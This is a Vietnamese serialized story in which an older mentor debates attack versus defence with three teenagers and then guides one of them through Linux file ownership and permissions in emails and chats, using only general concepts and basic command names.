"Được thôi. Trước hết anh muốn nghe các lý do tại sao một bên tin rằng 'muốn bảo mật tốt phải biết hack trước' và bên đối lập lại cho rằng 'muốn hack giỏi thì phải biết bảo mật trước'. Để khỏi bị hiểu sai và khai triển sai, anh đề nghị xác định lại cụ thể vấn đề ở đây. Có lẽ 'hack' và 'bảo mật' ở đây đồng nghĩa với tấn công và phòng thủ phải không?"
"docco" reo lên:
"Đúng rồi đó anh. Lúc tụi em cãi với nhau toàn là dùng hai chữ 'hack' và 'security' nhưng em nghĩ là tấn công và phòng thủ là chính xác tinh thần rồi đó."
Tôi đáp:
"Hì hì, nếu quả thật là như vậy thì 'attack' là công và 'defend' là thủ. Anh nghĩ là dùng hai chữ 'hack' và 'security' ở đây sai tinh thần rồi. 'hack' không hẳn chỉ là tấn công mà còn có thể là hành động đóng góp cho việc phòng thủ. 'security' chỉ chung cho sự bảo mật và chưa hẳn nó loại trừ 'hack' ra khỏi các hành động, thao tác để đạt được tính 'bảo mật'. Mình nên dùng đúng 'term' và xác định rõ ý nghĩa của chúng để loại trừ những ngộ nhận có thể có thì mới bàn cãi sâu sát và chính xác được."
"haothu" phát biểu một cách hết sức thật thà:
"Ái chà, mới vào đầu câu chuyện đã thấy 'anh già' quá kinh rồi. Thôi đi Duy ơi, hai thằng mình thua non đi cho rồi. Tao biết ảnh bảo kê cho thằng Hưng là cái chắc. Mới vào đã thấy ảnh 'bẻ' sơ sơ thấy phát ớn."
Tôi xen vào ngay:
"Khoa, đừng nghĩ vậy em. Anh chẳng 'bảo kê' ai cả. Anh chỉ 'bảo kê' cái đúng mà thôi. Cứ xem như anh là trọng tài của cuộc đấu khẩu này thôi. Sở dĩ anh phải xác định rõ mỗi phía bởi vì mình cần phải tránh sự hiểu lầm ngay từ đầu không thì có bàn cãi cũng chẳng đi tới đâu hết. Hì hì, đối với anh không có chuyện ăn thua ở đây đó nha. Rồi hả? Ai muốn bắt đầu?"
"cuti" lăn xả vào trận chiến:
"Em muốn, em nói trước được hông anh?"
Tôi chưa kịp trả lời thì "docco" đã đáp lời:
"Chấp luôn. Thằng khỉ Hưng này lúc nào cũng tranh tiên hết. Nó thì lúc nào chả vậy!"
"cuti" cũng không phải tay vừa:
"Tao nói trước hay nói sau gì mày cũng thua một mức mày ạ bởi vì lẽ phải thì lúc nào cũng phải, không phân biệt trước sau."
Tôi xen vào:
"Thôi đi ông thần, ba hoa lắm vậy? Bắt đầu đi."
"cuti" có ý kiến như sau:
"Em không biết có phải em bị anh tiêm nhiễm hay không chớ em thấy rõ một điều: nếu tay quản lý máy chủ không nắm rõ server của mình có cái gì, điều hành nó ra làm sao, quản lý nó ra làm sao thì không cách gì có thể bảo mật được. Tương tự như vậy, tay tin tặc nào đó muốn tấn công một server thì phải hiểu server đó có những gì, làm việc ra sao. Nếu không, hắn không có cách gì mà tấn công hoặc thâm nhập được. Giả sử em thiết lập một cái server và em dấu hết 'footprint', tay tin tặc không thể xác định được server này chạy trên hệ điều hành nào cả. Cùng lắm là hắn dò ra được các dịch vụ đang chạy trên máy chủ này nhưng để thâm nhập là một chuyện cực khó."
Tôi cười, khơi mào cho "docco" phản bác:
"Em nghĩ sao Duy? Những điều cu Hưng nói có những điểm yếu nào?"
"docco" im lặng khá lâu. "haothu" bèn lên tiếng:
"Dạ, thằng Duy có cái tật đắn đo vòng vo tam quốc dữ lắm anh. Thôi để em trả lời trước cho. Em thấy là khi tay tin tặc ấy xác định được các dịch vụ đang chạy trên một máy chủ, hắn chỉ cần 'thử' hết những lỗi thường thấy và đã được công bố, trước sau gì cũng phá thủng hàng phòng thủ mà thôi. Hắn đâu cần biết dịch vụ đó chạy trên Linux hay AIX, hay Solaris hay Windows làm chi? Trên Internet có hàng 'tấn' công cụ, scripts... để thực hiện chuyện này. Hắn chỉ cần download hết về máy rồi ngồi đó mà thử từng cái một. Em tin rằng, đến lúc nào đó cũng đột nhập được thôi."
Tôi hỏi tiếp "docco":
"Em nghĩ sao Duy?"
Lúc này "docco" mới lên tiếng:
"Em thấy cả hai đứa Hưng và Khoa đều có những điểm không ổn. Hưng thì dừng lại ở bình diện kiến thức khả dĩ để hình thành một server. Khoa thì vận dụng phép... mò. Cả hai chưa đi đến ngọn ngành. Theo em thấy, nếu cả hai tay quản lý server và tay tin tặc có kiến thức và kinh nghiệm ngang nhau, chưa biết ai phòng thủ giỏi hay tấn công giỏi. Em không thể biện minh rõ ràng và rành mạch được nhưng vì lý do gì đó, em tin rằng tay tin tặc dễ đạt mục đích hơn vì hắn vốn thích táy máy, mày mò. Còn tay quản lý server thì thường làm theo tài liệu hướng dẫn."
"cuti" phản công ngay lập tức:
"Thôi đi 'pa'. Nếu 'pa' không biết server đó có cái gì, cấu trúc nó ra làm sao thì làm sao mà thâm nhập? Cho dù thâm nhập rồi mà không biết đường đi nước bước thì có nước đứng đó... ngẩn tò te thôi. Như cái vụ 'anh già' và tao đánh cuộc đây này, ảnh cho tao luôn cả account name và password để vào máy chủ luôn đó nhưng sau đó thì... bó tay vì không biết làm gì hết."
"haothu" reo lên thích thú:
"Á à, vậy mày chịu thua rồi hả Hưng? Mày đóng vai là tay phòng thủ mà lại ngẩn tò te thì thua non đi cho rồi con ơi."
Tôi xen ngay vào để 'nắn' câu chuyện khỏi lạc đề:
"Anh thấy Duy có những nhận xét rất cẩn thận và lý thú. Hưng và Khoa cũng có lý đứng trên quan điểm của mỗi phía. Tuy nhiên, điểm cần xác định thêm ở đây là trình độ của cả 'kẻ công' chọi với 'người thủ' là thế nào? Nếu 'kẻ công' là một tay cực kỳ kinh nghiệm và 'người thủ' là một tay mơ thì cán cân sẽ khác rõ. Ngược lại 'người thủ' là một tay từng trải và 'kẻ công' là một tay ứng dụng phương thức... mò thì kết quả cũng quá hiển nhiên. Có lẽ mình nên xác định lại một cách cụ thể trình độ và kinh nghiệm của hai tay này cho thoả đáng."
"cuti" nhảy ngay vào:
"Dạ, nếu vậy thì cứ cho là cả hai tay đều rành Linux như nhau, có 5 năm kinh nghiệm như nhau, có khả năng thiết lập máy chủ như nhau. Vậy thì 'phòng thủ' sẽ thủng hay, 'tấn công' sẽ bó tay?"
"docco" lên tiếng:
"Em thấy cách xác định hai tay này có trình độ ngang nhau để so sánh hai phía công / thủ là công bình nhất. Ở cỡ tụi em, nếu thằng Hưng mà thiết lập một server và thằng Khoa thì dùng mấy thứ đồ nghề khai thác có sẵn trên Internet thì em tin rằng thằng Hưng sẽ bị thủng vì nó chưa nắm được cách phòng thủ cho đúng mức. Trong khi đó, thằng Khoa không cần biết nhiều về Linux, nó chỉ thử hết cái này đến cái kia thì rốt cuộc cũng vào được máy chủ kia mà thôi."
"haothu" chêm vào:
"Hẳn nhiên rồi."
"cuti" cay cú:
"Mấy thằng này đầu xi măng hay sao mà nói mãi không lay nhỉ? Tao nói là cỡ thằng Khoa có cho account để vào cũng chống mắt mà nhìn chớ biết làm khỉ gì."
Tôi vội vàng xen vào:
"Hưng làm gì mà cay cú vậy em? . Vậy thì mình phải thêm một yếu tố để so sánh: tay 'tấn công' phải thâm nhập và thay đổi cách làm việc của hệ thống, nếu vào được rồi mà ngồi đó... ngó thì không thể gọi là 'tấn công'. Còn tay 'phòng thủ' phải làm sao không cho chuyện thâm nhập xảy ra. Ngay cả có thâm nhập được rồi cũng 'ngồi đó mà ngó' thì phía phòng thủ thắng chớ gì?"
"cuti" nhanh nhảu:
"Hì hì, chắc anh hơi ngạc nhiên với cách nói chuyện của bọn em hả? Bọn em ăn nói bất kể lắm nhưng không có ý gì đâu anh. Chắc anh không khó chịu chớ? Còn yếu tố anh đưa ra thêm em thấy hoàn toàn có lý."
"docco" đáp lời:
"Nếu theo đúng các yếu tố anh đưa ra để có thể so sánh thì em nghĩ bọn em không đủ sức so sánh cho xác thực. Bởi vì thật tình mà nói, thâm nhập cũng như bảo vệ có quá nhiều trường hợp, có quá nhiều tầng. Nhìn hai mặt của vấn đề đều thấy sự phức tạp của chúng."
Một lần nữa, tôi thầm cảm mến tính chững chạc và cẩn thận của "docco". Rõ ràng những nhận định của "docco" đánh đổ trọn bộ những nhận xét và ý kiến mang nặng cảm tính. Tôi đáp:
"Em nhận xét tinh tế và cẩn thận lắm Duy. Nếu so sánh, mình cần phải nhìn cả hai mặt của vấn đề. Nếu thiên vị mặt nào thì mặt ấy sẽ nặng hơn và nhận xét trở nên thiếu chính xác. Như vậy làm sao mình đánh giá thật sự cần biết 'công' trước hay biết 'thủ' trước thì mới bảo mật tốt theo đúng tin thần của cuộc bàn cãi?"
"cuti" vẫn khăng khăng:
"Thủ trước. Em vẫn nghĩ là thủ trước."
"haothu" không nhường bước:
"Công trước. Em vẫn tin là công trước."
"docco" vẫn trung hoà:
"Em không xác định được. Anh có ý kiến gì không vậy?"
Tôi đáp:
"Hãy tóm lược lại 'bài toán' của chúng ta: có hai nhân vật, một kẻ chuyên 'công', một người chuyên 'thủ'. Cả hai có kinh nghiệm tương đương nhau, đều nắm rõ hệ thống như nhau nhưng đào luyện với tinh thần khác nhau. Kẻ 'công' thì nhìn vấn đề từ phía 'công', có nghĩa là hắn ta phải nắm rõ hệ thống để có thể tìm ra những điểm yếu cho việc thâm nhập và tấn công. Trong khi đó, người 'thủ' thì nhìn vấn đề từ hướng 'thủ', có nghĩa là hắn nắm rất rõ hệ thống mình thiết kế, biết chọn lọc những dịch vụ cần thiết, biết thắt chặt những điểm hở. Trong 'cuộc đấu' này, nếu kẻ 'công' có thể thâm nhập và thay đổi được hệ thống làm việc, hắn nắm phần thắng. Nếu kẻ thủ 'phòng thủ' quá chặt kiến cho kẻ công không thể thâm nhập và thay đổi hệ thống, 'kẻ thủ' thắng. Liệu anh tóm lược như vậy đủ chưa?"
Bộ ba Hưng, Khoa và Duy đều im lặng hồi lâu. "haothu" Khoa là người lên tiếng trước:
"Em thật tình không biết phải so sánh thế nào."
"cuti" Hưng tiếp theo:
"Em nghĩ rằng không thể so sánh được."
"docco" Duy đá lời sau chót:
"Theo em, nếu mình phân tích từng trường hợp thâm nhập và phòng thủ một cách tỉ mỉ thì may ra có thể đi đến một kết luận nào đó. Ngoài ra, em bắt đầu tin rằng không thể xác định được nên biết 'công' trước hay nên biết 'thủ' trước. Nói một cách khác, định đề muốn bảo mật cho tốt thì phải biết thâm nhập trước và ngược lại đều thiếu cơ sở."
Tôi gật gù trước nhận định chặt chẽ của "docco". Chỉ qua vài chục dòng chat, cá tính của mỗi người trong bộ ba này thể hiện thật rõ. "cuti" Hưng nhanh nhảu, thông minh. "haothu" Khoa nóng nảy, trực tính. "docco" Duy chậm chạp nhưng sâu sắc. Vậy mà ba cu cậu chơi rất thân với nhau. Có thể ba cá tính bổ khuyết cho nhau nên chúng thân với nhau chăng? Tôi khơi mào:
"Vậy, mấy anh em mình có nên 'khai phá' vài trường hợp để xem thử hai định đề muốn bảo mật cho tốt thì phải biết thâm nhập trước hoặc muốn thâm nhập cho giỏi thì phải biết bảo mật trước không?"
Cả ba cùng reo lên:
"Dạ."
"Chơi luôn."
"Chắc anh là người 'khai phá' chớ bọn em thì không đủ sức rồi "
Tôi ngẫm nghĩ rồi đáp:
"Thế này, anh nghĩ để tạo ra một buổi bàn thảo lý thú, mấy anh em mình nên chuẩn bị kỹ lưỡng trước các điểm cần bàn. Hãy hình thành một số trường hợp cụ thể. Đặt tên cho kẻ tấn công, người phòng thủ. Phải quy định xem nên thiết lập một máy chủ ra sao, có những dịch vụ nào. Sau đó mình sẽ phân tích từng 'thử nghiệm' cụ thể cả hai phía. Ví dụ như:
'kẻ công' = A
'người thủ' = B
server của B thiết lập = Z
dịch vụ của Z = z1, z2, z3...
Sau đó mới khai triển:
A xác định footprint Z như thế nào, B ngăn chặn việc này ra làm sao.
A dò tìm z1, z2, z3 như thế nào, B kiện toàn các dịch vụ này ra làm sao.
A exploit z1, z2, z3 như thế nào, B thắt chặt các dịch vụ này ra làm sao...
Mấy anh em mình chat đã khá lâu, anh phải đi. Mình có một tuần để suy nghĩ xem: nếu mình là A thì mình sẽ thăm dò ra sao? thử nghiệm những gì và hành động như thế nào? Nếu mình là B thì mình thiết lập những gì, thắt chặt những gì và đối phó ra sao khi A thâm nhập.
Thấy được không?"
"cuti" reo lên trước:
"Ái chà, được như vậy thì hơi bị... hay. Vậy em sẽ chọn vị trí A hay B?"
"haothu" cũng không kém hào hứng:
"Ui chao, phân tích những thứ này đến đầu, đến đũa thì còn gì bằng? Em chọn mình là A được không anh?"
Như thường lệ, "docco" trả lời sau cùng:
"Em thấy ý kiến này tuyệt diệu. Nó tạo điều kiện cho mình tự đặt mình ở hai phía và tìm giải pháp thích ứng. Sao bọn em không chọn cả A và B để tự lý giải anh nhỉ?"
Tôi đã không sai lầm khi nhận định rằng "docco" Duy là một cậu bé hết sức điềm đạm và cẩn thận. Tôi đáp:
"Hoan hô Duy, em đề nghị rất hay. Khi đưa ra các trường hợp ở trên, ý anh là mọi người đều nên lý giải hai mặt của vấn đề. Có như thế thì mình mới hình thành một cái nhìn toàn diện, không thì bị rơi vào tình trạng thiên vị và bởi thế, không thể khai phá đến nơi, đến chốn."
"cuti" phụng phịu"
"Trời ơi, một tuần làm sao mà đủ thời gian để tìm hiểu hết những chuyện cần tìm hiểu anh?"
Tôi đáp:
"Hì hì, bộ em nghĩ trong một tuần bọn mình nắm được cặn kẽ vấn đề hay sao em? Anh không nghĩ thế đâu. Một tuần để bọn em tự hình dung những điểm tổng thể. Khai triển và 'đào xới' thì không biết chừng nào mới xong. Em chỉ thử hình dung xem một máy chủ thông thường cần có những gì? và một máy chủ như thế nếu 'bị' tấn công thì tấn công vào đâu? Như thế đã là nhiều. Sau đó đám tụi mình mới bàn sâu từng trường hợp. Vậy hả?"
"cuti" lẩm nhẩm:
"Vậy là sắp thêm 'những đêm không ngủ'."
"haothu" phấn khích:
"Ái chà, trúng 'mánh' rồi."
"docco" điềm đạm:
"Quả là một điều kiện để học hỏi và nghiên cứu một cách tuyệt vời!"
Tôi kết thúc:
"Rồi nha, Chủ Nhật tuần sau, cũng vào giờ này. 'cuti' nên nhớ đến '4 đê' nha em? Chào Khoa, chào Duy."
và tôi logoff.
19/7/2005
<còn tiếp>
|
|
|
7. Giềng mối:
Như tôi đoán trước, lần này quả thật "cuti" im ắng. Suốt hai tuần lễ, tôi không nhận được một thông điệp nào từ "cuti" nhưng lần này tôi không còn ngại "cuti" bỏ cuộc mà tin rằng "cuti" đang 'vật lộn' với mớ khái niệm mới, với môi trường hệ điều hành mới. Tôi biết đây là một đoạn dốc khá cao và căng thẳng với "cuti" vì cu cậu gần như phải bắt đầu lại từ đầu với một hệ điều hành mới mẻ.
Có sẵn kinh nghiệm dùng máy tính và sử dụng hệ điều hành Windows cộng với dăm ba mẹo vặt không tạo điều kiện thuận lợi cho "cuti" 'vượt dốc' mà ngược lại có thể tạo những khó khăn nặng nề hơn vì chắc chắc cu cậu sẽ không ngừng liên hệ đến những thói quen và kiến thức có sẵn về hệ điều hành Windows. Điều đáng nói là "cuti" không hề gởi một thông điệp nào để than vãn hoặc cầu cứu. Tôi không biết cu cậu có tham gia diễn đàn nào khác và đang tung lên hàng loạt câu hỏi. Dù "cuti" có thử giải quyết cách này, cu cậu chắc chắn sẽ mất một khoảng thời gian dài để đi đến giai đoạn hiểu được mình đang ở đâu.
Sau hai tuần, tôi nhận được một bức e-mail từ "cuti". Nó có nội dung rất dí dỏm như sau (tôi đã lượt bỏ những chi tiết riêng tư và không phù hợp với tinh thần chủ đề, tôi cũng đã điều chỉnh lại cho ngôn từ nghiêm túc và chuyên nghiệp hơn):
"Anh già khó tánh kính mến,
Hai tuần qua em bị con chim cánh cụt 'đè' gần ngất xỉu nhiều lần. Em nhiều lần rất muốn gởi anh một vài thông điệp để cầu cứu nhưng lời anh nói cứ ám trong đầu: "Sao hỏi anh? Cuốn cẩm nang Linux của em đâu?" làm em ngần ngại. Lúc này em không khác gì người đi trong rừng Amazon, chẳng còn biết phương hướng ở đâu nữa. Bây giờ em mới thật sự thấy chuyện đánh cuộc của anh em mình khó đến mức nào.
Anh già biết hông? sau bao nhiêu là mò mẫm, em mới hiểu ra chỉ có root mới có thể tạo account cho người dùng và mới tìm ra được lệnh dùng để tạo account. Nhìn lại thì thấy những chuyện này không khác gì bên Windows mấy. Tuy nhiên, để khai mở những điểm anh đưa ra về chuyện 'nhìn sự việc như một system admin hay một coder' thì em quả lạc lối mất rồi. Cuốn 'cẩm nang Linux' của em không đề cập bao nhiêu về những điểm này. Vậy em tìm hiểu những thông tin này ở đâu anh? Thật kỳ lạ anh ạ, trước đây hễ thấy cuốn e-book nào dày vài trăm trang là em hết muốn đụng tới. Giờ đây, em lại mong cuốn e-book Linux của em dày hơn, nhiều hơn. Em nghĩ anh là con người nguy hiểm là một điều không sai bởi vì không hiểu tại sao anh có thể biến em từ một đứa không buồn đụng đến cuốn e-book mà bây giờ lại mong nó dày hơn. Hì hì, em nói đùa đó thôi. Có nhiều lúc em muốn bỏ dở để đi bắn Gunbound cho khoẻ nhưng nghĩ lại thì thấy hơi... ê vì thế nào cũng bị anh chửi cho một chặp, nên thôi.
Em đã tạo được account dành cho người dùng bình thường và có thể login bằng account đó rồi. Tuy nhiên, em đang ở trong giai đoạn 'dậm chân tại chỗ' bởi vì khi dùng account này và thử 'vi' trang index.html của web server trên máy chủ Linux thì nó luôn luôn báo lỗi 'changing read-only file'. Câu hỏi của em là: bằng cách nào mình có thể 'viết' vào nó để thay đổi nội dung hở anh?
Nếu rảnh anh sớm hồi âm dùm em nhe? Em biết anh chắc bận rộn lắm nhưng không hỏi anh thì hỏi ai bây giờ? Nếu anh quá bận rộn thì chắc em phải đành cho con chim cánh cụt 'đè' thêm ít hôm nữa, chắc cũng không sao đâu.
Chúc anh và gia đình vui khoẻ.
Em,
Cuti."
Tôi đọc e-mail của "cuti", ngẫm nghĩ tìm cách trả lời cho cu cậu. Câu hỏi cu cậu đưa ra [i]"bằng cách nào mình có thể 'viết' vào nó để thay đổi nội dung hở anh?" là một câu hỏi ở dạng có thể có vô số các câu trả lời. Tôi sẽ chọn câu trả lời nào đây?
Mấy ngày kế tiếp, tôi vô cùng bận rộn nên vẫn chưa trả lời cho "cuti" nhưng thỉnh thoảng tôi ghi xuống dăm ba điểm quan trọng để dùng chúng mà khai triển câu trả lời. Chiều nay, trên đường đi làm về, ngồi trên tàu lửa, tôi mở laptop ra và quyết định thảo một bức e-mail cho "cuti" như sau:[/i]
"Cuti thân mến,
Anh đã nhận được mail của em vài ngày trước đây nhưng lu bu công việc quá nên chưa hồi âm ngay cho em được. Mong em thông cảm. Anh sẽ trả lời các thắc mắc của em theo thứ tự như sau:
1. Em nên ngần ngại khi hỏi anh nếu như:
- em chưa đọc kỹ cuốn "cẩm nang" của em
- em đọc rồi nhưng chưa hiểu rõ và không muốn đọc lại lần nữa để hiểu rõ hơn
Nói cách khác, nếu em hỏi có cái gì dính dáng với "what" và "how" thì cứ nhớ đến câu: "Sao hỏi anh? Cuốn cẩm nang Linux của em đâu?" . Nếu em hỏi có cái gì dính với "why" thì anh sẽ trả lời thắc mắc của em.
Lý do anh khuyến khích em đọc và suy nghĩ vì quá trình 'hành xác' này sẽ biến những thứ em đọc và suy nghĩ thành 'tài sản' của em. Anh có thể tổng kết, rút gọn lại những điều em cần đọc và giải thích cho em. Tuy nhiên, mình không nên đi theo hướng này vì nó làm... hư người đi . Em cần tự mình hình thành một lối suy nghĩ, tiếp cận và giải quyết vấn đề riêng cho mình.
2. Chuyện đánh cuộc của anh em mình sẽ rất khó đối với những ai không hiểu được chiều rộng và bề sâu của điều cần phải làm. Nó sẽ khó với những ai đã hình dung được chiều rộng và bề sâu này và nó sẽ không khó với những ai đã 'thử' đi xuống bề sâu và đi ngang qua chiều rộng này. Đọc mail của em, anh hình dung là em đã bắt đầu hình dung được chiều rộng và bề sâu của vấn đề. Thật tình mà nói, em rất sáng dạ và chịu khó vì em đã đi qua một đoạn đường khá 'chông gai' trong một khoảng thời gian ngắn ngủi như thế. Anh không gặp bao nhiêu người có thể làm như em đâu. Cho nên gắng lên em và nên kiên nhẫn hơn.
3. Câu hỏi "bằng cách nào mình có thể 'viết' vào nó để thay đổi nội dung hở anh?" thì anh có thể tóm gọn như sau:
Không riêng gì root làm chủ một (hoặc nhiều) hồ sơ, thư mục... mà bất cứ tài khoản nào cũng vậy, nếu chủ nhân của các hồ sơ này ấn định một số giới hạn đến những thứ họ tạo ra thì tổng quát mà nói, em không thể thay đổi được nó một cách chính diện bằng chính tài khoản của em ngoại trừ... em 'hack' (và ngoại trừ em có 'root' account). Hành động 'hack' ở đây được tiếp cận và phân tích ra sao thì tùy vào mức độ am hiểu hệ thống của người muốn 'hack'. Tuy nhiên có hai trường hợp tổng quát để có thể làm nền tảng cho việc 'thay đổi nội dung hồ sơ' ấy:
- 'mượn tay' root để thay đổi nội dung vì chỉ có root mới có thể làm chuyện này.
- 'biến' mình thành root để thay đổi nội dung cũng vì lý do ở trên.
Ngoài ra, có thể có khả năng khác. Ví dụ như hồ sơ này cho phép những ai trong nhóm (group) điều chỉnh (nếu như attribute của hồ sơ này ấn định như thế).
Vậy, điều em cần tìm hiểu ở đây là gì? Đây:
- tìm chủ quyền và giá trị ấn định chủ quyền hồ sơ mình cần thay đổi (cho owner, group và others) xem thử nó là gì?
- 'mượn tay' root là sao? do đâu có khái niệm 'mượn tay' root?
- 'biến' mình thành root là sao? do đâu có khái niệm 'biến' mình thành root?
Đây là cốt lõi của các điểm yếu thường gặp trên hệ thống *nix nếu chế độ mặc định bị lỗi hoặc system admin thiếu kinh nghiệm, thiếu cẩn thận trong quá trình điều chỉnh hoặc chính software trên hệ thống này bị lỗi. Từ ba điểm yếu này mở ra muôn vàn khả năng, biến thái, kết hợp, điều chế, thử nghiệm.... và đây chính là 'hack': hành động tìm kiếm và đi đến tác động để thay đổi thái độ làm việc của hệ thống. Không riêng gì trên *nix mà bất cứ hệ điều hành nào cũng vậy, bất cứ cơ chế xác thực người dùng (authentication) và ấn định chủ quyền người dùng (authorisation) nào đều có cơ hội bị 'xoáy thủng' dựa trên ba điểm trên.
Anh chỉ có thể trả lời chi tiết hơn khi nào em đã nắm vững cơ chế ấn định chủ quyền của tài nguyên trên một máy chủ. Em còn nhớ đoạn lệnh anh gởi cho em lần trước làm em 'lùng bùng' không? Nó có liên quan trực tiếp đến cái gọi là giá trị ấn định chủ quyền đó. Anh giới thiệu thêm vài từ khoá: ls, umask, chmod, chown, chgrp để em đỡ phải lan man. Sau khi đã hiểu rõ những gì thuộc về mấy từ khoá trên và những giềng mối xung quanh nó, thắc mắc của em sẽ trở nên rõ ràng hơn.
Thứ năm tới đây anh có ngày nghỉ. Có lẽ anh sẽ bận buổi sáng nhưng buổi chiều thì rảnh. Nếu muốn 'bổ' thêm vài 'thang' thì cho anh biết. Từ đây đến đó còn ba ngày cho nên em nên tham khảo qua mấy từ khoá ở trên trước đi. Em cũng nên chuẩn bị sẵn những điều mình thắc mắc thì anh em mình 'chat' mới có chất lượng. Nên nhớ: ask me why, don't ask me what
Chúc em một ngày vui.
Chào cuti."
Tối hôm ấy tôi gởi "cuti" bức e-mail trên. Sáng ngày hôm sau tôi nhận được hồi âm của "cuti":
"Hello anh già khó tánh
Cứ mỗi lần nhận được một thông điệp của anh, bộ não của em lại chạy ro ro. Em lại sinh ra một cái tật mới là miệng hay lẩm bẩm , chắc anh biết lý do tại sao.
Chiều thứ Năm em cũng rảnh nhưng phải sau một giờ trưa lận bởi vì em phải vào trường. Như vậy khoảng sau 4 giờ chiều nơi anh ở. Vậy có tiện không anh?
Em sẽ 'lên danh sách' những điều em thắc mắc để được anh 'châm' cho vài phát. Em đang lùng thêm vài cuốn e-book Linux, không biết anh có cuốn nào khác không?
Vậy anh nhé? Hẹn gặp lại chiều thứ Năm.
Chúc anh một tuần làm việc vui vẻ.
Cuti."
Suốt mấy ngày tiếp theo, tôi vùi đầu vào công việc và ba ngày đi qua nhanh chóng. Chiều thứ Năm ấy tôi quên bẵng mình có 'hẹn' với "cuti", vẫn đi chơi với gia đình. Mãi đến sau 4 giờ chiều mới sực nhớ. Khi tôi về nhà và logon, "cuti" vẫn chưa online. Tôi cười, thầm nghĩ "Chà, tưởng đâu mình cho cuti leo cây, không ngờ lại bị cuti cho mình leo cây". Tôi gởi "cuti" một offline message:
"Cuti, anh đã online. Khi nào em vào, hú một tiếng cho anh biết."
Mãi mười lăm phút sau tôi mới nhận được thông điệp hồi báo của "cuti". Cu cậu có vẻ "hớt hãi" lắm:
"Dạ em đây, em đây. Trên đường đi học về bị xẹp lốp anh à cho nên trễ nãi hết. Cho em xin lỗi nhe. May mà không có anh ở đây chớ không thì chắc cũng bị ăn vài cái 'kí' trên đầu rồi. Hi hi."
Tôi trả lời:
"Không sao em, anh cũng mới online chừng 15 phút thôi. Em ăn cơm chưa? cứ thong thả đi."
"cuti" lại hóm hỉnh:
"Dạ em đang vừa 'đớp', vừa 'chat' đây. Hông phải vừa đốp, vừa chát đâu nghe? Ai mà dám đốp chát với anh ."
Tôi cười, đáp:
"Vậy em thong thả ăn cơm đi rồi mình nói chuyện sau. Anh duyệt web, trả lời e-mail cũng được."
"cuti" rối rít:
"Dạ không, được mà anh. Bụng đớp kệ bụng, não đớp kệ não. Em ăn hai thứ một lượt cũng được mà."
Phì cười vì tính dí dỏm cố hữu của cu cậu, tôi cũng hóm hỉnh với cu cậu:
"Vậy thì được thôi, anh chỉ sợ cơm thì lên não mà chữ thì xuống ruột... già thì công toi thôi, hì hì. Vậy em đã 'lên danh sách' những điều em muốn hỏi chưa?"
"cuti" nhanh nhẩu:
"Ha ha, anh cũng biết nói chuyện tếu lâm nữa sao? Em cứ tưởng anh là một lão đạo mạo chỉ có số với chữ không chớ! Còn chuyện danh sách thì có rồi chớ anh. Lúc máy mó trên con Linux thì bao nhiêu là câu hỏi. Lúc đọc mail của anh lại thêm cả đống câu hỏi. Vậy mà khi ngồi xuống liệt kê lại thì chẳng còn được bao nhiêu câu hết. Lạ thật."
Tôi đáp:
"Vậy em cứ hỏi rồi tự nhiên câu hỏi này sẽ dẫn đến câu hỏi kia thôi. Còn chuyện em nghĩ anh đạo mạo thì em lầm to rồi đó ."
"cuti" trịnh trọng:
"Em hỏi nhe? Anh sẵn sàng chưa?"
Tôi bật cười, trả lời:
"Shoot!"
"cuti" chộp ngay câu trả lời của tôi và hỏi liền:
"shoot là gì vậy anh? đá banh hả?"
Tôi không nén nổi, bật cười xoà vì tính con nít và năng động (và có phần thiếu tập trung) của "cuti". Tôi đáp:
"Thôi đi ông thần. Ráng tập trung vào vấn đề, đừng thấy gì hỏi đó. Em chỉ cần biết 'shoot' là 'hỏi đi' là đủ. Đó chỉ là một cách nói."
"cuti" ra vẻ nghiêm trang:
"Câu 1: tại sao anh nói: "ask me why, don't ask me what" vậy? Em hiểu nghĩa tiếng Anh là hỏi tại sao, đừng hỏi cái gì. Vậy ý anh là thế nào?"
Tôi đáp:
"Rất đơn giản.
- 'What' là 'cái gì', 'cái gì' có thể tìm thấy trong sách giáo khoa và sách tham khảo. Công việc của em là tìm ra câu trả lời cho các cái 'cái gì' bởi vì anh không thể trả lời hết cái 'cái gì' được. 'cái gì' là kiến thức căn bản.
- 'Why' là 'tại sao', 'tại sao' cũng có trong sách giáo khoa và sách tham khảo nhưng cần phải được đúc kết, rút tỉa. Một người thể chưa đủ 'cái gì' để hình thành 'tại sao', có thể chưa đủ kinh nghiệm để hình thành 'tại sao' và cũng có thể chưa đủ suy luận để hình thành 'tại sao'. 'tại sao' là kiến thức mở rộng.
Cho nên anh có thể giúp em những cái 'why' mà không thể giúp em những cái 'what'. Nên nhớ, sau khi có 'what' rồi thì mới có 'why'.
Rồi, câu kế tiếp."
"cuti" thảng thốt:
"Trời! anh giải thích y như kiểu suy luận toán học hông bằng. Ùm... để em xem lại một phát nữa cái. Ùm... hình như lần trước anh đề cập đến sách giáo khoa và sách tham khảo cũng có giềng mối với chuyện này phải hông anh?"
Tôi cười và trả lời cu cậu:
"Ái chà, em cũng dùng chữ 'giềng mối' sao? Đúng vậy, sở dĩ anh đưa ra chuyện đọc sách, phân loại sách và phương pháp tổng hợp, thâu thập từ sách là vì anh có ý muốn em phải đi qua cái 'what' trước sau đó mới có thể khai triển đến cái 'why'. Rồi, câu thứ hai?"
"cuti" liếng thoắn:
"Ái chà, chữ 'giềng mối' là chữ em copy anh đó thôi. Chữ này ít thấy dùng nhưng em thấy hay hay. Chắc mình phải đi sâu vào chi tiết kỹ thuật đọc sách và rút tỉa từ sách quá anh à, tại vì em vẫn thấy những thứ trong sách muôn trùng. Điều mình cần tìm hiểu thì ít ỏi, điều mình không cần tìm hiểu thì quá nhiều. Cái khó là tìm ra được những phần mình cần trong một cuốn sách. Nhưng thôi, để mình bàn chuyện này sau. Câu thứ hai của em là: anh có thể cho em vài ví dụ kỹ thuật về cái 'giềng mối' mà anh nói ở đây không?"
"cuti" quả không đơn giản tí nào. Tôi trầm ngâm vài giây rồi trả lời:
"Được rồi. Cái gọi là 'giềng mối' chính là những mắc xích từ phần này đến phần kia một cách logic trong một chuỗi sự việc, hiện tượng, thể trạng. Trên bình diện kỹ thuật và nhất là trong khuôn khổ những gì mình đang đi qua, 'giềng mối' nói một cách tổng quát, là những bước dẫn mình đi đến mục đích cuối. Ví dụ:
- em đọc sách đúng phương pháp để hình thành cái 'what', rồi từ 'what' đi đến 'why, thiếu 'what' không thể hình thành 'why', thiếu 'why' không thể đi đến đích: đây là 'giềng mối' sự việc.
